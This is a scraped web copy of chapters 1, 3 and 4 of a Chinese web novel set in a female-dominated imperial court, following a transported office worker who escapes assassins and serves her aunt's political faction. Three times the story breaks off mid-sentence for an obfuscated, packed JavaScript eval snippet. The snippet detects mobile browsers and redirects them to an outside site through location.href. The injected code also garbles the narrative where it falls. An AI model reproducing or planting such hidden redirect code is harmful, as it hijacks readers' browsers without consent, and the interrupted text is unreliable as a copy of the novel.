《古代牛马生存实录(女尊)》 1. 第 1 章 好冷。 好冷。 这是闻赋光意识渐渐归拢后的第一个念头。 她一手枕着头,一手摸索被子没摸到,只有一股浓烈的血腥气侵入鼻腔。 思维混沌不堪,她刚结束一场维持了三天的盛大加班,好不容易才回家躺下,为什么床这么硬这么冷? 静止了半晌,闻赋光挣扎着试图睁开沉重的眼皮。 身体一阵阵发麻,下半身几乎没有什么知觉。她的视线渐渐变得清晰,首先看到的是顶上低矮的石壁,闻赋光一头雾水,撑着手臂一点点挪动着,艰难地起身靠坐在石壁上。此刻显然是晚上,好在月光还算明亮,伴随着一阵头昏眼花眼冒金星,她渐渐发现了自己身上发生了什么。她正身处一个陌生的地方,穿着陌生的深色衣服,视线内四周荒无人烟。 再低头一看,一身黑衣湿漉漉地贴在身上。同时,侧腹部传来尖锐的痛意,不用看都知道那里一定是受了伤,而且相当不轻。伤口上乱七八糟地裹着几圈布条,但没绑紧,因此几乎没起到止血作用。血已经大量洇了出来,血腥味就是从这里来的,除了这道最长最狠的伤,四肢上还有大大小小数道较轻的伤。 没想到一睁眼就是这样一幅糟心场景,现在她简直像个亡命之徒。 情况危急,她要想办法自救,再愣着不处理伤口可能就永远都不用处理了。 闻赋光小心地动手拆下绑得十分潦草的绷带,又从里衣上撕下足够长的布条,这时候没条件讲究那么多。她还在身边发现了一瓶敞开的的药粉,塞子散落在不远处。记忆告诉她那是可以止血的金疮药,于是果断撒上药粉并重新绑好。还好她身上的衣服是深色的,染了血也看不出来,否则看着一定很骇人。 咬着牙做完这一切,她也出了一身冷汗,血终于渐渐止住,不像刚才几乎要把金疮药粉冲走。其他的伤较轻,她小心翼翼抹了点药粉就收起来了,这是救命的东西,情况不明,还是省着点用。 处理好伤口,闻赋光注意到手边还有一把匕首,刃窄而薄,身上的伤口不深但创面长,初步可以判定她的伤不是这把匕首害的。拿起来挥一挥,倒是很称手。她身边东西不多,除了武器和药粉之外仅有一个锦囊。闻赋光拿起锦囊捏了捏,里面的东西圆圆的,像个珠子,拿出来一看还会发光,整个石壁都被照得亮堂起来。 奇玩珍宝什么的她只在电视剧里见过,对这些是一窍不通,不过这颗大珠子的价值应该不菲,闻赋光猜测今晚她变成重伤患恐怕这跟东西脱不了干系。哪怕有点怀疑这玩意会不会有辐射,但用她领导的猪脑子想都知道这一定是个重要道具,得好好保护它。 她在这个地方受伤昏迷,已经不知道待了多久,或许随时会被人发现,这不是一个适合安心待着休息的地方,她得尽快离开。 闻赋光收拾好自己身上仅有的这几样物品,决定先去附近找找水源,清理一下自己糊了一手一身的血迹。她运气不错,不多时就找到一条潺潺流水的河流。 这一路走来,她没有在这里见到任何现代化的设施,今夜月光明亮,就着河水,她随便洗了几下手上脸上的血迹。洗干净了往河面上探头一看,脸还是那张脸,但望着手心某些地方多出的一层薄茧,她明白有些事情变了。 闻赋光蹲在河边上,手上胡乱揪着茂盛的杂草,陷入了某种茫然的情绪中,一时不知该如何应对眼前的局面。 虽然受了伤,脑子里也一片混乱,但或许是因为原身习过武,她现在依然耳聪目明。当一些刻意放轻,但因人多而显得杂乱的脚步声出现时,闻赋光还是第一时间听到了。 若是来救她的,这些人没必要静悄悄靠过来,多半是来抓人的。闻赋光强迫自己从那些沉重的情绪中抽出来,她的血迹留在了刚刚的山洞里,那群人迟早会锁定那里,再在周边展开搜寻,她不能留在这坐以待毙,趁那群人还没发现她,必须尽快离开找个安全的藏身之所。 如擂鼓的心跳声中,闻赋光悄悄绕了一圈,伏在几乎一人高的草丛中暗暗关注着这群人的动向,来人不少,可能有十五六个,统一作夜行衣打扮,一手举着火把一手提着刀,除了偶尔做几个简短的手势并不说话,闻赋光努力竖起耳朵也没偷听到什么有用的信息。 失望之余,她突然发现这群人似乎是沿着大路过来的,这陌生的鬼地方她根本不认识路,越是在人少的地方越难藏身,不如就绕到这些人身后,沿着官道往城里方向走,随便找个什么地方凑合一晚上,等白天开了城门就能混进城里去。 她正欲起身离开,动作间伤口不慎被牵动,身体晃了晃,好歹没一头栽下去,这样的情形下,踩中枯枝的脆响显得格外刺耳,顷刻间冷汗打湿了她的后背。缓了缓,她刚想蹑手蹑脚地离开这个是非之地,但情况在瞬息间已经变得更加不妙——有一阵犬吠声由远及近,像支锋利的箭矢撞进了她的耳膜,闻赋光几乎哆嗦了。 跑! 顾不上伤口的痛了,也顾不得动作太大会不会被人发现,她撒腿就跑,不敢耽搁一秒。那些人见狗群有反应,也终于发现了她的行踪,纷纷追了上来,拜汪汪队所赐,他们既然发现了她的踪迹,当然就不需要再放轻声音,此时后面此起彼伏地大喊着让她站住。 谁会傻到真的听话站住啊!闻赋光看电视剧里相同桥段时如此吐槽过。 不过这时候她自己亲自体验上了,倒有些能理解了。 毕竟这么多人在野外参加主题为“她逃她们追她插翅难飞”的大型真人追逐活动,总不能光追着砍一句台词不说吧,那多尴尬! 闻赋光慌得很,身体比大脑更快地行动起来。生死时速中,她更加放空了大脑,只是逃着逃着有一点疑惑逐渐浮上了她的脑海,听声音身后这群人好像都是女人?她是什么身份还需要特意派一群女刺客来杀?很遗憾,这环境里暂时没有好心人肯停下来为她解答。不过,她们始终没有用箭,应该是没佩远程的武器,再跑远点就砍不到她了。 闻赋光不敢停歇,用尽全身所有的力气随时变换着方向跑,不知道跑了多久,跑出去多远,身后似乎已经没什么动静,她壮着胆子转头往回看了一眼,视线内已经不见了那些人和汪汪队的身影。看来她跑得还挺快,成功把人甩开了。今晚已经发生了这个世界上最不科学的事情,她决定不再深入思考两条腿的她为什么能跑得过四条腿的狗。 借着月色泻下的清辉,前方有一座精美的建筑从朦胧中渐渐露出它的全貌。 这座建筑外面的围墙砌得很高,墙漆成了柔和的浅色,顶上铺着五彩的琉璃瓦,在月光下依然熠熠生辉,看形状不像是富贵人家的住宅,更像是座寺庙。 有汪汪队在,她先前打算随便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705496|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找个地方凑合一晚上的计划是不可能实现了,那样迟早会被追踪到的,这光秃秃的野外躲都没地躲,被抓住就死定了。现在只能溜进去赌一把,赌眼前这个地方不是一群身份见不得光的刺客可以随意闯入搜查的。 闻赋光绕到后面,用尽最后的力气攀上墙壁,确定没人在附近看守后,翻过墙璧轻轻跃下。 她贴着墙壁,尽可能地放轻脚步,无头苍蝇似的绕了一圈,误打误撞从四通八达的小通道进到了正殿,抬头只见一尊巨大的神像矗立在殿中。 闻赋光隐藏在帷幔后面伸头去看,这是一尊神情慈爱温和的女神,发髻被金冠高高束起,遍身绫罗,其上刻有各色繁复花纹,一手缠着丝线,一手捧着石榴。 体力精力消耗得差不多了,这地方晚上似乎没人把守,非常静谧。满堂摇曳的灯火供奉映照着女神,衬得她的神情越发令人平静安心。闻赋光在这驻足,让自己喘口气。 是不认识的神像,看这座庙规格相当不低,应该也不是野路子神,闻赋光以前是不信这些的,但她经历过今晚,也没那么确定了。 她低头暗暗祈祷。 这位看起来很慈悲还住在这么华美的宫庙里看起来法力很强的神仙,请你多多照应,在下不求能过上多富贵的日子,只求无灾无祸身体健康,非常无聊毫不刺激地过完这个莫名其妙多出来的一辈子就行。 想想她上辈子,虽然整天当牛做马变身打工皇帝,即使同样被捅刀子,但是领导同事捅的跟拿着刀的杀手捅的能一样吗。一朝穿越,她还不知道能不能活到第二集。 “呜呜。”一边想着,她一边悲从心来,不小心哭了出声。 “什么人?”一道惊疑不定的声音传来。 闻赋光吓了一跳,下意识掏出了匕首。 阴影处站着一名少男,他先前并未出声,她又有些精力不济,因此一时没有发现殿中有人。 见她二话不说反手就是掏刀子,那人身形一僵,一动不动。 两人都被对方吓了一大跳,闻赋光更快反应过来,上前一手用匕挟制住他,为防止他把人引来,还一手捏住了他的嘴,达成了物理意义上的闭嘴。 虽然有些简单粗暴,但方法有用就好。 不过一个逃犯在逃亡路上不小心被别人发现了怎么办?接下来她应该做些什么?一边控制着他,闻赋光陷入了思索。 “你是什么人?”闻赋光把他的嘴松开,改为挟制住他的双手。 被冰冷的匕首抵住喉咙,那少男似乎胆子很小,有一连串眼泪落在她手上。 这什么情况?光哭也不说话,她很吓人吗? 嗯…好像确实有点。 闻赋光不得不伸手在他眼前挥了挥,喂喂提醒他。终于,他回过神来,艰涩地开口:“......我是,是前来庙中供奉的官眷,我姨母是当官的,你......要做什么?” 在这里女人可以当官,闻赋光琢磨着他话中的意思,她还不知道现在是什么年代,不如抓住机会问他一问。 站在在大殿里问话不安全,闻赋光决定找个安全的地方,“这么晚了,你在庙里应该有住的地方,带我去。”闻赋光压了压匕首,只差一点就要碰到那片白皙的脖颈。 那少男顺从地点点头,不敢违抗。 闻赋光满意一笑。 3. 第 3 章 下了马车,闻赋光带着有钱人自愿奉上的金叶子随便找了个小医馆处理过伤口,因看得出她不是一般人,医师很是识时务,见了金叶子一愣,却还是乖乖收下,也不曾多问这伤是怎么来的,省得她费心编造。接着便直奔目的地——她如今的家,闻府。像她这样的小卡拉米干完活要交差,是没资格直接对接王府的,她的上线就在闻家。 好在昨晚梦到了闻家不少事情,否则她今日无处可去。 闻家祖上跟着开国皇帝打天下,也曾富贵过。如今虽然式微了,但祖宅占的这片地不错,地也宽阔,就位置来说算是在京城城西。 原身和她同名同姓,年十八,家里人口简单,双亲已经亡故,除了她自己家里只有她姨母父,还有姨母所生的堂兄妹三人,据说还有一些服侍姨母的小侍们,不过那些人除非年节平时不得随意走动,她很少见到。 大户人家平日没有大事不会开正门,闻赋光喊来门房从角门进了前院,直奔姨母书房而去。 梦中姨母身边有一多年老仆名叫闻忠,据说忠心耿耿,从小伴随闻姨母一起长大,常年伴随姨母身侧的,从前原身来书房都是由她通传,今日倒不见闻忠的身影,另有其他年轻侍从迎上来。 书房中,闻姨母独坐着揉了揉眉心,转头沉沉望着堂外的一方天空,即便有多年阅历沉淀,这时候也不可避免地流露出焦躁不安。 她这个侄女身手好,实在很有成为一柄利刃的潜质,这是她头一回为贵人做事,其他随行的尸首今日早前已经被陆续找到了,只她不在其中,但愿她不会让自己失望。 待人通传闻赋光回府来见她,她这才轻轻松了口气,转瞬间又恢复了在人前的常态。 闻赋光踏进书房,第一次亲眼见到了闻姨母。 她看着四十许,身形清瘦,神色平和亲切地接受了她这位侄女的见礼。原身性格一向沉默内敛,只会闷头做事不善言辞,闻赋光心里知道姨母绝对不是表面上的那样和善好说话,有些庆幸不必与她有太多寒暄,只恭敬将此行的任务——那枚明珠奉上;“姨母,赋光回来迟了,好在顺利将宝物带回。” 闻姨母示意侍立在侧的下人接过明珠,那侍从轻手轻脚接下,转身进了内室,接下来就不是闻赋光要操心的事情了。 三年前闻家老太君过世后,闻姨母丁忧,像她这样的小官没人抬举,即使除了服之后仕途也是很渺茫的。可偏偏闻姨母手段了得攀上了宗室,她的次男即闻家行三的堂弟被贵女看中,抬进府做了侧夫,这一下就把闻姨母的仕途给挽救回来了,做了个五品官。 闻姨母见到明珠后,笑意更是真切几分,亲自上前拉着闻赋光的手,让她坐下,悠然品了口茶道:“护送宝物的一行人竟在城外遭到了劫杀,好在先前安排了你带人前去接应,这回顺利带回寿礼,咱们的辛苦也不算白费。” “是。”闻赋光怕说错话露馅,干脆不说。 闻姨母知道闻赋光寡言,她此刻心情不错,倒也不计较多说几句教教这个侄女:“随着宗室诸位娘子长成,天家膝下无女又年岁已长,恐怕过不了几年就要从宗室诸女中选贤者立储。娘子身为宗室近亲,又是当今天家的表侄,是被天家看着长大的,且在课业上常得天家的夸奖,自小深受皇恩,因此用尽方法从西洋小国的王室弄到了她们传承的宝物,想借万寿节献给天家,令天家开怀。普天之下,莫非王土,没想到有人连万寿节礼都敢动!你做得很好,想必娘子对咱们家必有赏的。” 闻姨母对这位名讳姜榓的怀王长孙的期望,自然远不止宗室那么简单,闻家上下更是卯足了劲,恨不得扯着嗓子敲锣打鼓宣誓从此唯姜榓马首是瞻。 “姨母过誉,还要多亏姨母举荐,赋光才有为贵人做事的机会。”闻赋光作木讷状,干巴巴说了句场面话,略作停顿又道:“姨母觉得,这些前去劫杀的人是来自......?” 闻姨母指尖轻敲桌面,“除了林阳王还能有谁!她与娘子向来不对付,这次更是在京城外就动起了手,实在可恨!” 梦中回忆怎么像抽卡一样还分角色的,抽不到卡就看不到相关的剧情,昨天晚上她梦中这个林阳王相关的记忆就一点都没出现,闻赋光狠狠提了口气,还好她多问了一句。 “这林阳王行事如此嚣张,莫非得了什么倚仗?” “说不好,”闻姨母皱了皱眉,沉吟片刻:“大媱旁枝宗室为了不使天家猜忌,从不与勋贵重臣之家通婚,多是挑选富户或普通读书人家,取貌美贤惠而非出身高者。姜栯与娘子一般未娶正夫,府里只纳了些小夫郎,连带父族也是不成气候的家族,明面上姜栯不曾与哪家有过多的往来。不过,林阳王府与天家的血缘比怀王府远不少,或许是有机缘率先产下了长女,自觉赢了娘子一筹,她这才得意忘形。” 闻赋光有点发愁自己会被人记恨,“林阳王府如今气焰正盛,昨夜偷袭未成,也不知是否会迁怒闻家?” “你昨晚可杀了人没有?” 闻赋光有些垂头丧气,“没有,她们人多,我身边无人,不是对手,就逃走躲了起来,不曾伤到她们。” “既然如此,二娘,咱们家只是小门小户,对姜栯构不成威胁,虽然她偷袭未成,也不一定就会和闻家不死不休。”闻姨母神色郁郁,“想当年闻家祖上立下从龙之功,是何等风光!烈火烹油,鲜花着锦,姨母幼时听曾祖说那时门房每天都要用斗来装拜帖......如今你和你堂弟定要抓住这个机会,好好辅佐娘子,待来日事成,定要闻家恢复昔年荣光!” 两人谈了许久,闻赋光默默归纳已知信息,当前这两位储君的候选人各有优势:她目前的顶头boss在血缘上离皇帝更近,在皇帝面前刷脸熟的机会也更多,但没有子嗣;对家boss跟皇帝血缘较远,说起来不如自家boss更有继位法理,但已经有了更下一代的继承人,而女嗣对大媱皇室来说至关重要,因此,在这两位宗室女中,若皇帝不表态的话,自家boss还隐隐落在下风。 闻赋光只能在心中暗自苦笑。 姜氏女真的有皇位要继承,为了权势为了皇位打对抗她能理解,可是这跟闻家有什么关系?先不论自家老大会输的可能性,哪怕老大赢了皇位,可又能保证她们闻家一定能分上一杯羹,而不会倒在黎明前的黑暗里?更有万一成了垫脚石又将如何?可这事已经没有转圜的余地,姨母将男儿嫁进怀王府的那一刻开始,闻家就再难抽身了。 听完闻姨母做最后的“咱们一定要给boss好好办事将来一定机会多多的”谈话总结,闻赋光打算告辞了,倒是闻姨母突然想起来了什么似的,嘱咐道:“昨日你带出去的那些人一个都没回来,别人倒也罢了,闻忠的女儿闻实,原本就是在你身边从小跟着你的,本是想跟你出去混个功劳,没成想你们一行人遭了袭,一会你带上抚恤银,亲自去闻忠家里看看。” 闻赋光称是,恭敬退下。 * 民巷狭窄,不容马车通行,闻赋光让车工在巷口等着,独自带着抚恤银步行过去。 闻忠是姨母身边得脸的多年老仆,家中殷实,青砖砌的房子在一众民居中也算是鹤立鸡群,她没有费什么力就找到了民居中挂白的那家。 进门的大堂处已经被布置成了灵堂,闻忠不在,棺木旁只有三道身影坐着哀哀哭泣。 见有人前来拜祭,其中一人迎了上来,是一个稚嫩的童子,怯生生地向来客解释家里的主人闻忠悲痛过度,卧床不起,如今只有闻实的父亲庞氏和夫郎乔氏在这里守着。 闻赋光自然不会介意,亲自点了三炷香祭过。 一旁的庞氏身形发福,嚎哭得面红耳赤,将一旁的乔氏衬得越发清瘦苍白,他眼中无泪,只是神情空洞地跪着,一副心如死灰的样子,看着比庞氏这个父亲还要伤心些,闻赋光只道是这对妻夫从前感情不错。 遵照葬礼的规矩,庞氏和乔氏要向前来吊唁的客人行礼回应,乔氏缓缓弯下腰,额头触地。 闻赋光对大媱的葬礼没什么记忆,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705498|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚来的路上恶补了一番知识,知道这是礼数,没有打断他。 只是乔氏还没念出主家该说的“有劳挂怀、谢您吊唁”等谢唁词,就忽然脱力,身躯一晃倒了下去,身旁的庞氏脸色一沉,狠狠剜了他几眼,但见闻赋光还在场,也不敢说什么。 闻赋光一愣,乔氏面白如纸,生死不知地倒在地上,见庞氏也没有上前搀扶的意思,心道他是过度悲伤了,她这次过来本来就是为了祭奠帮衬闻忠的,便帮了个忙,将人扶了起来,并打发小童去请大夫,索性给这一家子都诊诊脉。 她有些沮丧,昨晚虽然遭遇险情,但毕竟顺利逃脱了,她没敢细想万一失手,自己会变成什么样。可见到灵堂中躺着的闻实时,不免有些心惊。真正的夺嫡之争不是在屏幕前看人演戏,是踏着重重尸骨溅上无数鲜血的,昨日是闻实,焉知今日会是谁? 闻赋光抿了抿唇,突然意识到与姨母的对话中她并没有过问自己的伤势,哪怕一句。 闻忠家里的气氛实在不适合久留,一顿折腾人仰马翻后,闻赋光留下银子告辞了。 出了大门没走两步,身后突然传来了庞氏破锣嗓子似的饱含怒意又刻意压低了的声音:“你这个不要脸的小倡夫!我儿刚闭上眼,你那作孽的倡*就耐不住了是吧,主家二娘子来你就故意装晕,打量着人家能看上你免得守寡?我呸!丧门星!烂*流脓的货色!也不撒泡尿照照你自己是什么德行!你这辈子就是给我儿守寡的命!若再敢有下次,看我不把你腿打折,送你去落柳巷当小爷去!” ......? 闻赋光满心的彷徨瞬间被这一大串歇斯底里的怒骂声击碎了,她不敢置信地回头看了一眼闻忠家的大门,加快了脚步逃似的离开。 午后的风吹走了残余的暑气,闻赋光坐在车里想了想,发现庞氏骂的那些话她有些没听懂,抱着多了解些这个世界总没坏处的想法,她弯腰从马车厢中钻出来,冲车工笑了笑。又抬手理了理衣襟,故作随意地问起:“老张,刚才我这一路走过来,听到有些街坊邻人说了些闲话,可我没听明白是什么意思。” 车工看着四十左右,面庞手臂因常年拉车晒得有些黑,一双小眼睛极精神地盯着路,闻言笑道:“二娘子不妨说出来是什么话,我老张也好歹活了这把岁数,我给娘子参详参详。” “我听到了落柳巷,还有小爷之类的话,那是什么意思?” 老张闻言低低笑了一声,闻赋光被她笑得有点发毛,好在她也没打算卖关子,“娘子别听那些人胡说,落柳巷原本是前朝时寻花问柳的地方,如今早没了,不过多年来口耳相传,到了本朝人还都爱管花楼叫落柳巷。小爷原是喊大户人家那些小侍,如今连花楼里的倡伎也叫小爷了。娘子你还年轻不知道,越是名伎,越是一个比一个地会摆架子,要是行首啊,那更是端得跟自个是高门贵男似的,他们......” 见她越说越偏,闻赋光及时打断:“老张,没想到你对这些这么了解,你见识过?” “嗨哟,娘子别拿我寻开心了,这些话横竖街上的闲人都能说上几句,不当值的时候我们这些老娘们喝茶吹牛,说着玩的。” 闻赋光若有所思地点点头,随后又提出新的疑问:“我听那些人说的好像是闻实的夫郎,男人当了寡夫就会被送到落柳巷里吗?” 老张干笑两声:“那倒不是,不守夫道的男人才会被送到落柳巷去呢,寻常寡夫只要能守住,自然不会被人为难。” 闻赋光不解,“不能再嫁吗?” 老张啧地一声,拍上大腿,“嫁是能嫁,官府也没说不许,可大家伙都说这样的男人克妻呢,谁还敢要?何况生为男子,从一而终才是正理。讲究些体面的人家,是不肯让自家寡居的男郎们再嫁的。” “原来如此,我年轻见识少,竟连这些都不晓得。” 那就真心祝愿乔氏不会被卖掉吧。 两人一路说着,马车已行至大街上,闻赋光命车工自行赶车回府,自己跳下了车。 4. 第 4 章 闻赋光是从自己屋里取了银子出来的。 大媱富贵人家不兴给未婚的娘子们配太多伺候的仆从,用天家的话来说就是捧着惯着的,生生把个好好的娘子养成四体不勤的废物,因此上行下效,闻家当然不会搞特殊,她院子里也就两三个做粗活的小仆,身边贴身的侍从从前只有闻实一个,如今也没了。 现在她身边就她自己,就算她在屋里翻箱倒柜,找不到银两在哪也没人知道,更没人怀疑,还好最后误打误撞找到了些许。 京中茶馆酒楼林立,要说其中最有名的,那当然是闻赋光此时正坐着的广贤楼。 很久以前,广贤楼还不叫广贤楼,那时候它只是一个无名小摊子,传说曾有宫中贵人微服私访,见小小的摊上坐满了食客,一时兴起想要与民同乐,便恰巧与一位书生拼了桌,她见书生神采焕发,有意攀谈,二人谈得非常投机,后来当年殿试时皇帝亲自出题,选中的状元娘正是这位小摊上拼桌的书生。这桩巧事一时被传为君臣美谈,从此想要入仕的读书人们蜂拥而至,这摊主也一并得道,自那以后把这生意越做越大,直到做成了京城第一楼。 上百年来,这座楼就这样矗立在此,迎接着熙熙攘攘的客流。 广贤楼不愧是京城第一楼,闻赋光看着菜谱心里纳闷,楼中菜名都文绉绉的,写得云里雾里,什么青灯素锦,霁雪濯莲,有些还夹杂着几个复杂的繁体字,她压根没看懂。这时候的菜谱也不像后世那样还带菜品图片,因此她随手胡乱指了几个,便坐在二楼雅间中喝着茶等上菜。 广贤楼久负盛名,除了消费高,装潢也是符合其名气的豪华,桌椅皆是贵重的梨花木,另有绣工出色的屏风、帷幔等装饰在屋内各处。若非如此,恐怕也不能讨得京城这些达官贵人的欢心。 很快来了一名抱着琵琶的男子,他亭亭袅袅地进了雅间,又顾盼生姿地冲她行了个在闻赋光看来是抛媚眼的礼,便自顾自坐下弹起了曲子。 闻赋光有些不明所以,暗暗猜测是酒楼给雅间客人送的附加服务,让客人可边享用美食边欣赏乐曲。 那琵琶男技艺确实超高,如水葱的纤纤玉指在弦间纷飞,流淌出雅致的情调。他一连弹了几首,闻赋光边欣赏边很有耐心地等待上菜,却迟迟没等到,见眼前的乐人还在弹,不免有些焦躁。 好不容易那乐人弹罢,施施然行个礼走了,菜还是没上。 闻赋光等不下去了,她身边没带人,走出雅间打算亲自找小厮问问。 同一时刻,广贤楼另一间雅间里,肖从晗起身垂眸屈膝,从怀中取出一叠纸递上前:“衙内,这就是我,小男子这些日子里所作的粗浅诗文,您请过目。” 对面被称为衙内的富态女子一身绫罗,一双眯眯眼随意掠过诗稿,那叠纸显而易见的粗糙灰黄,又厚薄不均,字迹应该是尚可,只是写在劣质的纸张上也令人失去了探究欲。 她目光一路扫过,径直停在肖从晗面上,他眉眼间带着些许窘迫,身着一袭半新不旧的素色衣衫,料子尚可,还是细棉,其上只绣了稀疏的竹纹,看着像是他压箱底的好衣服。 衙内闻言,假意端起茶盏抿了口茶,手中盘着两颗油亮的核桃,“肖公子,本小姐今日眼睛有些疼,看不得字画。” “不知衙内身体不适,是我之过,”肖从晗强行挤出笑容应付:“若有小男子能为衙内做的事,愿为衙内分忧。” “肖公子如此体贴,真是个可心人,这诗稿,不如请公子亲自读给我听。”话中“亲自”两个字加重了语气,衙内笑得极为不怀好意,还轻浮地冲他眨了眨眼。 肖从晗面色僵硬,嫌恶和屈辱沿着脊梁骨往上爬,他屏了两息,缓缓拿起诗稿,刚要开始念,却被衙内抬手打断,“肖公子,凑近些,今日本小姐的耳朵也不太好......”见她故作亲热状,伸手就要触碰到他,肖从晗下意识地后退了两步。 手上落了空,衙内没有错过他眼中那抹来不及掩饰的鄙夷,一时怒上心头,起身上前就是两巴掌,那张白皙的脸上刹时红肿了起来。 肖从晗眼前一花,耳中嗡鸣,反应过来时已经倒在了地上,手中还紧紧攥着那叠诗稿,手指骨节泛白。 先前强压的羞愤与隐忍此时几乎要不管不顾地倾泻出来,他心知自己没有与眼前人抗衡的能力,踉跄着起身,几乎是逃似的冲出了雅间,门外侍立的几个下人不知道该不该去追,往里头瞧她们主子的脸色。 闻赋光沿着廊下往前走,眼神四处寻找着伙计的身影。行过转角时,突然有一道身影冲了过来,那人脚步又快又急,闻赋光来不及避让,与来人径直撞了个满怀。 闻赋光及时稳住,倒是那冲过来的男子,顺着力道一屁股跌坐在了地上,闻赋光定睛一看,地上还散落着一些写了字的纸张。 见他形容狼狈,闻赋光懒得计较,随手帮他将纸张拾了起来,那人垂着头接过,低低地道了声谢,转头下楼去了。 这时候另有一群人走了过来,领头的女人脸色阴沉,看起来颇为不善,身旁的几个家丁神色惶恐,有几个似乎还挨了打。 这群人在后头将刚才的情景尽收眼底,几个家丁悄悄睨了一眼主子的神色,其中一人率先发难,朝她挥了挥拳,张口就是颠倒黑白:“你爹没教你走路啊?眼睛瞎了不成?直愣愣往肖公子身上撞?活腻歪了?” 此时闻赋光身上还穿着从庙中强占来的那身衣服,她见花纹素净正适合吊唁,没换衣服直接去了闻忠家里,也没戴任何装饰,虽然这身衣服料子很好,但并不显眼,看起来像是只比寻常人家好那么一点的小户。 简而言之就是,在面前这些人眼里,她看着很好欺负。 出门在外要解决偶遇的恶霸,这是作为主角的必修课,她懂。 面前这群人流露出蠢蠢欲动的挑衅,似乎只要她敢反驳,她们就会立马抓住她痛殴一顿,给自己主子撒气。 一楼大堂有不少食客,此时已经被二楼走廊上的喧哗声吸引过目光,窃窃私语着什么。闻赋光悄悄听了一耳朵,似乎也并不是多大的人物。仗着有武力傍身,她胆大包天地嗤笑一声,冲她们翻了个白眼。 眼前人跋扈惯了,见她没有认怂,先前被那男子气出的怒火更盛,转头就冲自己身边的家丁吼道:“你们都是死人吗?给老娘上!我要把这不知道天高地厚的贱民关进大牢里!” 身旁的家丁们显然不是第一回干欺女霸男的事了,一个个熟练得很,撸起袖子就要围过来。 闻赋光早就料到她们的反应,手中轻轻一动,一柄匕首出现在三人眼前,“我倒想听听,你有什么能耐能把我抓进大牢?” 看着闻赋光利落出手的动作,和眼前开过刃的锋利凶器,凶神恶煞的家丁们脚步一顿,那女子嚣张的嘴脸僵了僵,瞥见家丁们畏缩的样子,深感丢人,硬撑着嚷嚷:“你敢动我?我娘可是刑部员外!本小姐要把你关进牢里去吃几天苦头,比踩死只蚂蚁还容易!” 她嘴上不饶人,脚下却已经悄悄退了半步,身旁的家丁壮着胆子继续围上来,闻赋光手腕一转,还没人看清她的动作,刀背就已经重重砸在最前头的家丁肩上,那家丁一时吃痛,整条手臂瞬间发麻,惊呼一声,整个人踉跄着后退,走道狭窄,闻赋光如法炮制,领头的几个人被掀翻在地,顺势带倒了一片,一时间再没人敢上前来。 “再敢说废话,砍上来的就不是刀背了。” 眼看这是碰上硬茬了,见讨不着好,那女子自觉丢份,倒也能屈能伸,黑着脸带着家丁灰溜溜地离开。 望着这群人狼狈逃出酒楼的身影,周遭食客的议论声骤然变大。 胜利结算画面,闻赋光心态极佳地坐回到雅间里,还是没放弃要在这间酒楼里吃上一顿。 小厮颤巍巍地过来上茶,她淡淡颌首道了声谢,转而询问起上菜的事。 那小厮被刚刚的场面所慑,说话也吞吞吐吐起来,道是她点的那些都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705499|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是菜,而是琵琶曲。 ......行。 重新点过,这次都是小厮力荐的招牌菜,吃着不错,不过其中有些调料香料和食材似乎不是古代该出现的,但大媱是个架空的朝代,她不必深究这些东西为什么会出现在大媱人民的餐桌上,还要庆幸,要真的穿到食材匮乏的时代,以她的挑食程度可能会被饿死。 酒饱饭足,闻赋光慢悠悠地踱步走出酒楼消食,这时节京城已经褪去炎热,微微的秋风拂面而来,凉爽舒适。 大媱的读书风气还算浓厚,她一路晃荡着路过了好几家书坊,念及自己如今的文化水平,觉得不认识字也不是办法,转头进了其中店面最大的一家。 日头照着书坊上龙飞凤舞的“崇文馆”三字匾额,下面是雕花的门楣,门口还立着木牌,上面大概是写着新印了什么科考相关的书,被闻赋光不感兴趣地略过。 跨入书坊,三面皆是直抵天花板的木制书架,架子上整齐地码着线装书,闻赋光随手拿起一本翻了翻,纸质尚可,这里跟后世的大型书店看着也没什么不同。 正值饭点,书坊里没什么人,一人打着算盘正盘账,一人踮着脚在整理书架,伙计见有客来便招呼道:“客官,想寻什么书?” “我先自己看看。” “得嘞,您请自便。” 她缓步穿梭在书架之间,架上摆得最多的像是科考相关的注释书,但她不打算为难自己,她没上过这个时代的学,记忆又有缺失,读书人都是从小开蒙,自小就把这些书读了十几二十年,她一个外来户走这条路太不值得。 除此以外,还有不少工具书与话本、游记、算法书等分门别类放得很整齐,可以说是百花齐放,看来大媱读书人的精神世界还算丰富。 闻赋光兜了两圈又转悠到柜台,问道:“掌柜的,你们这里可有文字浅易懂的书册?” “自然是有的,不知您是为谁购置?”掌柜打扮的中年妇人面貌端庄,说话温和,令人心生好感。 